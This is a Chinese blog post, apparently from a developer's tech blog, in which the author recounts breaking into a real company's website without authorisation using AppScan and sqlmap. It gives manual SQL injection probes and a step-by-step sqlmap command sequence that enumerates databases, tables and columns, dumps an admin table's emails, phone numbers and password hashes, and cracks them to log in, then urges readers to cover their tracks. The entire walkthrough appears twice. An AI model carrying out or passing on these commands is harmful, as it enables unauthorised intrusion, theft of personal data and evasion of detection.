- 浏览: 1064842 次
- 性别:
- 来自: 上海
-
文章分类
- 全部博客 (1441)
- 软件思想&演讲 (9)
- 行业常识 (250)
- 时时疑问 (5)
- java/guava/python/php/ruby/R/scala/groovy (213)
- struct/spring/springmvc (37)
- mybatis/hibernate/JPA (10)
- mysql/oracle/sqlserver/db2/mongdb/redis/neo4j/GreenPlum/Teradata/hsqldb/Derby/sakila (268)
- js/jquery/jqueryUi/jqueryEaseyUI/extjs/angulrJs/react/es6/grunt/zepto/raphael (81)
- ZMQ/RabbitMQ/ActiveMQ/JMS/kafka (17)
- lucene/solr/nuth/elasticsearch/MG4J (167)
- html/css/ionic/nodejs/bootstrap (19)
- Linux/shell/centos (56)
- cvs/svn/git/sourceTree/gradle/ant/maven/mantis/docker/Kubernetes (26)
- sonatype nexus (1)
- tomcat/jetty/netty/jboss (9)
- 工具 (17)
- ETL/SPASS/MATLAB/RapidMiner/weka/kettle/DataX/Kylin (11)
- hadoop/spark/Hbase/Hive/pig/Zookeeper/HAWQ/cloudera/Impala/Oozie (190)
- ios/swift/android (9)
- 机器学习&算法&大数据 (18)
- Mesos是Apache下的开源分布式资源管理框架 (1)
- echarts/d3/highCharts/tableau (1)
- 行业技能图谱 (1)
- 大数据可视化 (2)
- tornado/ansible/twisted (2)
- Nagios/Cacti/Zabbix (0)
- eclipse/intellijIDEA/webstorm (5)
- cvs/svn/git/sourceTree/gradle/jira/bitbucket (4)
- jsp/jsf/flex/ZKoss (0)
- 测试技术 (2)
- splunk/flunm (2)
- 高并发/大数据量 (1)
- freemarker/vector/thymeleaf (1)
- docker/Kubernetes (2)
- dubbo/ESB/dubboX/wso2 (2)
最新评论
最近在研究Web安全相关的知识,特别是SQL注入类的相关知识。接触了一些与SQL注入相关的工具。周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞。不试不知道,一试还真TM得逞了,内心有些小激动,特在此写博文一篇,来记录下我是如何一步步攻破这家互联网公司的。
【作案工具介绍】
(1) AppScan渗透扫描工具
Appscan是Web应用程序渗透测试舞台上使用最广泛的工具之一。它是一个桌面应用程序,它有助于专业安全人员进行Web应用程序自动化脆弱性评估。
(2) Sqlmap渗透测试工具
Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
【作案细节如下】
首先使用Appscan工具,对www.xxx.com互联网公司的官网进行扫描,扫描结果如下:
在这56个安全性问题中,找到你感兴趣的链接,例如下面这条:
http://www.xxx.com/system/cms/show?id=1
为何要挑出这一条呢?因为它对于SQL注入比较典型,下面普及下SQL注入常用手法。首先用如下语句,确定该网站是否存在注入点:
http://192.168.16.128/news.php?id=1 原网站
http://192.168.16.128/news.php?id=1' 出错或显示不正常
http://192.168.16.128/news.php?id=1 and 1=1 出错或显示不正常
http://192.168.16.128/news.php?id=1 and 1=2 出错或显示不正常
如果有出错,说明存在注入点。
在判断完http://www.xxx.com/system/cms/show?id=1该链接存在注入点后,接下来就启动我们的渗透测试工具Sqlmap,进行下一步的注入工作,详细过程如下:
1) 再次确认目标注入点是否可用:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1
参数:
-u:指定注入点url
结果:
注入结果展示:
a. 参数id存在基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
b. 参数id存在基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
c. 数据库类型为:MySql 5.0.12
2) 暴库所有数据库:
一条命令即可曝出该sqlserver中所有数据库名称,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --dbs
参数:
--dbs:dbs前面有两条杠,列出所有数据库。
结果:
结果显示该sqlserver中共包含3个可用的数据库。
3) 获取当前使用的数据库
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db
参数:
--current-db:当前所使用的数据库。
结果:
4) 获取当前数据库使用账户
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user
5) 列出sqlserver所有用户
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users
6) 获取当前用户数据库账户与密码
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords
结果显示该用户可能无读取相关系统的权限。
7) 列出数据库中的表
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables
参数:
-D:指定数据库名称
--tables:列出表
结果:
结果显示共列出了69张表。
8) 列出表中字段
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns
参数:
-D:指定数据库名称
-T:指定要列出字段的表
--columns:指定列出字段
结果:
9)暴字段内容
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump
参数:
-C :指定要暴的字段
--dump:将结果导出
如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump
参数:
--start:指定开始的行
--stop:指定结束的行
此条命令的含义为:导出数据库xxx_store中的表mall_admin中的关于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的数据内容。
结果如下:
通过上图,我们可以看到admin表中的用户信息了。我们将password字段通过md5解密,可以得到hash的原文密码,通过用户名和密码,我们就可以登录该网站了。
至此,我们已成功入侵到一家公司的后台,并拿到了相关的数据。不过要在这里提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦干净,不让别人发现你了!
【作案工具介绍】
(1) AppScan渗透扫描工具
Appscan是Web应用程序渗透测试舞台上使用最广泛的工具之一。它是一个桌面应用程序,它有助于专业安全人员进行Web应用程序自动化脆弱性评估。
(2) Sqlmap渗透测试工具
Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
【作案细节如下】
首先使用Appscan工具,对www.xxx.com互联网公司的官网进行扫描,扫描结果如下:
在这56个安全性问题中,找到你感兴趣的链接,例如下面这条:
http://www.xxx.com/system/cms/show?id=1
为何要挑出这一条呢?因为它对于SQL注入比较典型,下面普及下SQL注入常用手法。首先用如下语句,确定该网站是否存在注入点:
http://192.168.16.128/news.php?id=1 原网站
http://192.168.16.128/news.php?id=1' 出错或显示不正常
http://192.168.16.128/news.php?id=1 and 1=1 出错或显示不正常
http://192.168.16.128/news.php?id=1 and 1=2 出错或显示不正常
如果有出错,说明存在注入点。
在判断完http://www.xxx.com/system/cms/show?id=1该链接存在注入点后,接下来就启动我们的渗透测试工具Sqlmap,进行下一步的注入工作,详细过程如下:
1) 再次确认目标注入点是否可用:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1
参数:
-u:指定注入点url
结果:
注入结果展示:
a. 参数id存在基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
b. 参数id存在基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
c. 数据库类型为:MySql 5.0.12
2) 暴库所有数据库:
一条命令即可曝出该sqlserver中所有数据库名称,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --dbs
参数:
--dbs:dbs前面有两条杠,列出所有数据库。
结果:
结果显示该sqlserver中共包含3个可用的数据库。
3) 获取当前使用的数据库
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db
参数:
--current-db:当前所使用的数据库。
结果:
4) 获取当前数据库使用账户
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user
5) 列出sqlserver所有用户
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users
6) 获取当前用户数据库账户与密码
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords
结果显示该用户可能无读取相关系统的权限。
7) 列出数据库中的表
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables
参数:
-D:指定数据库名称
--tables:列出表
结果:
结果显示共列出了69张表。
8) 列出表中字段
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns
参数:
-D:指定数据库名称
-T:指定要列出字段的表
--columns:指定列出字段
结果:
9)暴字段内容
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump
参数:
-C :指定要暴的字段
--dump:将结果导出
如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump
参数:
--start:指定开始的行
--stop:指定结束的行
此条命令的含义为:导出数据库xxx_store中的表mall_admin中的关于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的数据内容。
结果如下:
通过上图,我们可以看到admin表中的用户信息了。我们将password字段通过md5解密,可以得到hash的原文密码,通过用户名和密码,我们就可以登录该网站了。
至此,我们已成功入侵到一家公司的后台,并拿到了相关的数据。不过要在这里提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦干净,不让别人发现你了!
发表评论
-
JS解析json数据(如何将json字符串转化为数组)
2018-01-11 09:56 854<!DOCTYPE HTML PUBLIC &quo ... -
bootstrap-datetimepicker 日期控件的开始日期
2017-09-22 00:59 1142今天做日期控件,需求要求设置一个时间范围限制,选择从今天开始 ... -
AngularJS ng-show 指令
2017-09-26 09:50 438http://www.runoob.com/angul ... -
js 判断数组中是否包含
2017-09-15 19:35 531可以使用数组的indexOf()方法,如果返回值为-1则说 ... -
jquery中html()、text()、val()的区别
2017-09-13 16:02 785.html()用为读取和修改元素的HTML标签 对应j ... -
grunt nodejs npm的关系是什么样的?
2017-09-11 15:03 556昨天自己鼓捣grunt,开始的时候不大明白,现在好像有种模糊 ... -
grunt安装及使用
2017-09-11 14:54 1232Grunt是什么? Grunt是一个基于JavaScri ... -
NPM是随同NodeJS一起安装的包管理工具
2017-09-11 14:22 590NPM 使用介绍 NPM是随同NodeJS一起安装的包管理 ... -
浅谈 Flash/Flex/HTML5 技术选型
2017-09-11 11:09 529在HTML5发布以前,RIA领 ... -
JSON数据的删除某个元素
2017-09-07 16:39 1103有一组JSON数据: var tempJSON = [{id ... -
JS异步加载的三种方式
2017-09-01 12:19 806一:同步加载 我们平时使用的最多的一种方式。 & ... -
Javascript异步编程的4种方法
2017-09-01 12:19 488你可能知道,Javascript ... -
AngularJS 实现按需异步加载实例代码
2017-09-01 12:19 768AngularJS 通过路由支持多视图应用, 可以根据路由 ... -
angularJS页面加载完成后调用,循环结束后调用
2017-08-31 19:19 1605angularJS页面加载完成后调用,代码如下 ... -
JS 跨域原因及其解决方案
2017-08-18 10:57 644产生跨域问题的原因 跨域问题是浏览器同源策略限制,当前域名 ... -
gRaphael——JavaScript 矢量图表库
2017-06-12 17:34 874gRaphael 是一个致力于帮 ... -
Raphael.js简易教程
2017-06-12 17:35 992Raphael.js 的教程非常简单,仅首页一段代码,然后 ... -
Zepto.js
2017-05-26 15:58 789Zepto是一个轻量级的针对现代高级浏览器的JavaScr ... -
阿里g2图表
2017-04-11 12:22 13411.百度的Echart ECharts,缩写来自Ente ... -
为什么js文件的名字像MD5运算过的一样?
2017-04-07 00:24 472这个过程叫做 revision。如果你有一个名字是 main ...
相关推荐
Web安全知识体系思维导图
web安全
【目录】 一、关于Python 二、Python Hack 不安全的配置 模块加载顺序竞争 Python中的Web攻击*
Web安全学习大纲 一、Web安全系列之基础 1、Web安全基础概念(1天) 互联网本来是安全的,自从有了研究安全的人之后,互联网就变的不安全了。 2、web面临的主要安全问题(2天) 客户端:移动APP漏洞、浏览器...
总之,《Web基础知识》涵盖了Web开发的多个层面,而Web安全贯穿其中。学习和掌握这些知识,不仅能帮助开发者创建功能丰富的网站,也能保障用户的隐私和系统的安全。在实际工作中,开发者应时刻警惕潜在的安全风险,...
web安全基础知识点总结,从风险评估、安全防护、应急响应、安全加固、大数据安全、物联网安全 、 其他方面做出总结,为xmind导图
《Web安全深度剖析》总结了当前流行的高危漏洞的形成原因、攻击手段及解决方案,并通过大量的示例代码复现漏洞原型,制作模拟环境,更好地帮助读者深入了解Web 应用程序中存在的漏洞,防患于未然。 《Web安全深度...
它们深入浅出地探讨了Web安全的重要性和实践方法,为读者提供了丰富的知识。 《白帽子讲Web安全》一书主要涵盖了以下几个核心知识点: 1. **Web安全基础**:书中首先介绍了Web安全的基础知识,包括HTTP协议、Web...
Web安全测试是针对基于Web的应用程序进行的一种安全性评估,旨在发现并修复潜在的安全漏洞,防止黑客攻击和数据泄露。在Web应用开发过程中,安全测试是一个不可或缺的环节,它包括了多个层面的检查和验证。 首先,...
WEB 安全入门基础 本资源摘要信息主要关注 WEB 安全入门基础,涵盖了 WEB 安全的基本概念、HTTP 协议、加密算法、DOS ...了解这些知识点可以帮助我们更好地理解 WEB 安全的基本概念,并且更好地进行 WEB 安全测试。
因此,了解并掌握Web安全知识对于保护网络环境至关重要。 本书内容可能包括但不限于以下几个方面: 1. **Web应用基础**:首先,会介绍Web应用的基本架构,包括HTTP/HTTPS协议、Web服务器、客户端浏览器以及动态...
通过这三个挑战,我们可以了解到一些基本的Web安全知识,包括Base64编码、JS代码绕过和CSRF token绕过。这些知识点对于Web安全开发和测试都是非常重要的。通过实践和学习,我们可以更好地保护我们的Web应用程序免受...
通过这份文档,无论是Web安全的初学者还是久经沙场的专业人士,都能获得宝贵的知识和技能,进而提升自己对网络威胁的识别和防范能力。在网络安全日益重要的今天,Web-Sec Documentation成为了网络从业者不可或缺的...
因此,对于网站管理员、开发者以及安全专家来说,掌握Web安全知识,采取有效措施,防范各种网络威胁和攻击,保障Web应用的安全运行,是十分必要的。 知识点二:白帽子的安全角色 白帽子是指那些专门从事网络安全...
《白帽子讲Web安全》一书由吴翰清撰写,是一部深入探讨Web安全领域的著作,旨在为读者提供全面且深入的Web安全知识。本书不仅涵盖了Web安全的基本概念和技术,还详细解析了各种攻击手法和防御策略,对于网络安全爱好...
9. 实际工作经验总结:作者根据多年积累的实践经验,将实际工作中遇到的问题和解决方案进行了详细分享,这对于学习Web安全知识和提升实战能力有极大的帮助。 10. Web安全防御策略:除了攻击技术的介绍,书中应该还...
"信息安全技术Web应用安全检测系统安全技术要求和测试评价方法" 根据提供的文件信息,吾可以总结出以下知识点: 1. Web应用安全检测的重要性:随着互联网的普及和web应用的普及,Web应用安全检测变得日益重要。Web...
对于希望提升Web安全知识的IT从业者、学生或者对此感兴趣的人来说,这本书无疑是一份宝贵的资源。通过深入学习并实践其中的知识,不仅可以增强个人的安全意识,还能提高在实际工作中防止和应对网络攻击的能力。
- **定义与重要性**:Web安全是指确保Web应用程序及其相关服务免受攻击和威胁的一系列技术和实践。随着互联网技术的发展,Web应用已经成为日常生活和商业活动中不可或缺的一部分。然而,这也使其成为攻击者的主要...